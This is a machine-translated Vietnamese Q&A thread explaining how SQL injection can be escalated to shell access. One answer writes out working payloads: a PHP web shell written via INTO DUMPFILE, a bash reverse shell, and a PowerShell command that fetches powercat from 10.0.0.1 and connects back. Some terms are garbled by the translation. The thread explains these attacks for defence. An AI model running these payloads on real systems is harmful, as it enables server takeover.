it-swarm-vi.com

Tận dụng Shell từ SQL SQL

Theo tôi hiểu, SQL tiêm chỉ nên cho phép thao tác và truy xuất dữ liệu, không có gì hơn. Giả sử không có mật khẩu nào được lấy, làm thế nào một phép tiêm SQL đơn giản có thể được sử dụng để tận dụng trình bao?

Tôi đã thấy các cuộc tấn công trong đó điều này đã được tuyên bố là có thể, và nếu đó là tôi muốn có thể bảo vệ chống lại nó.

20
Sonny Ordell

Nhiều máy chủ SQL phổ biến hỗ trợ các hàm như xp_cmdshell cho phép thực thi các lệnh tùy ý. Chúng không nằm trong tiêu chuẩn SQL nên mọi phần mềm cơ sở dữ liệu đều có các tên khác nhau cho nó.

Hơn nữa, có CHỌN ... VÀO ĐẦU RA, có thể được sử dụng để ghi các tệp tùy ý với quyền của người dùng cơ sở dữ liệu. Có thể ghi đè lên các tập lệnh Shell được gọi bằng cron hoặc khi khởi động. Nếu quy trình máy chủ cơ sở dữ liệu đang chạy trên cùng một máy chủ với ứng dụng web (ví dụ: một máy chủ được thuê), có thể ghi tệp .php sau đó có thể được gọi bằng cách truy cập url thích hợp trong Trình duyệt.

Cách thứ ba để gây thiệt hại là xác định và thực thi các thủ tục được lưu trữ trong cơ sở dữ liệu. Hoặc xác định lại các thủ tục được lưu trữ hiện có, ví dụ như một chức năng xác minh mật khẩu.

Có nhiều cách có thể hơn.

Người dùng cơ sở dữ liệu ứng dụng không được có quyền thực thi các hàm Shell cũng như không sử dụng INTO OUTFILE cũng như không xác định các thủ tục được lưu trữ.

25
Hendrik Brummermann

Có một số cách để có được Shell. Đây là một số trong số họ. Liên kết ở phía dưới sẽ dẫn bạn đến một số bảng cheat tuyệt vời cho nhiều loại cơ sở dữ liệu như MSSQL, Oracle, MySQL và hơn thế nữa.

Một mẹo hay để nhận Shell là có cái này đảo ngược Shell cheat sheet trong túi sau của bạn.

Vượt trội

Nếu bạn biết nơi đặt Shell trên máy chủ (có thể truy cập ở đâu đó), bạn có thể sử dụng truy vấn sau (mysql) để tạo ví dụ về Shell Shell trên máy chủ web:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Tìm nơi bạn nên đặt Shell

Bạn cần biết thư mục tên miền ở đâu. Tìm hiểu nơi cơ sở dữ liệu đang chạy có thể hữu ích, do đó, một truy vấn tiêm (mysql) như thế này có thể cho bạn biết về kiến ​​trúc thư mục:

SELECT @@datadir;

Bạn cũng có thể may mắn nếu bạn thử buộc bất kỳ thông báo lỗi nào từ hệ thống để làm cho nó biết nơi nó đang chạy. Thông thường cách tiếp cận này là dễ nhất vì nhiều thông báo lỗi rất

Sử dụng các hàm DB tích hợp (xp_cmdshell)

MSSQL có một cách tương đối dễ dàng để gọi các chức năng của HĐH bằng cách sử dụng hàm tích hợp xp_cmdshell. Nó không phải là dễ dàng trong MySQL (thường yêu cầu thủ tục lưu trữ hoặc lưu trữ). Oracle rất dễ dàng vì nó cho phép Java được thực thi.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Câu lệnh trên tạo ra một Shell tương tác (-i) tại 10.0.0.1 cổng 8080.

Chỉnh sửa : Tất nhiên MSSQL với Bash là thực sự không thể. Không nghĩ về điều đó trước khi tôi thấy bình luận. Thay vì bash, người ta có thể thực hiện một kịch bản Powershell ngược lại, chẳng hạn như:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Có thể tải xuống Powercat từ đây: https://github.com/besimorhino/powercat

Shell thông qua các thủ tục được lưu trữ

Nếu bạn có thể nối các truy vấn trong một điểm tiêm, rất có thể bạn có thể tạo các thủ tục trong cơ sở dữ liệu. Các thủ tục này hoạt động như các chức năng mà sau đó bạn có thể gọi với các thế kỷ.

Xem Lệnh Shell từ PL SQL để biết thêm chi tiết về điều này.

Khác

Nguồn tốt để tiêm: khỉ pentest

14
Chris Dale

Với cơ sở dữ liệu Oracle, bạn thực sự có thể biên dịch và thực thi Java từ truy vấn SQL. Tôi đã thấy những kẻ tấn công thực hiện trình bao bọc Shell cơ bản trong Java cho Oracle, và chạy và biên dịch nó từ SQL SQL. Khá tiện lợi.

4
chris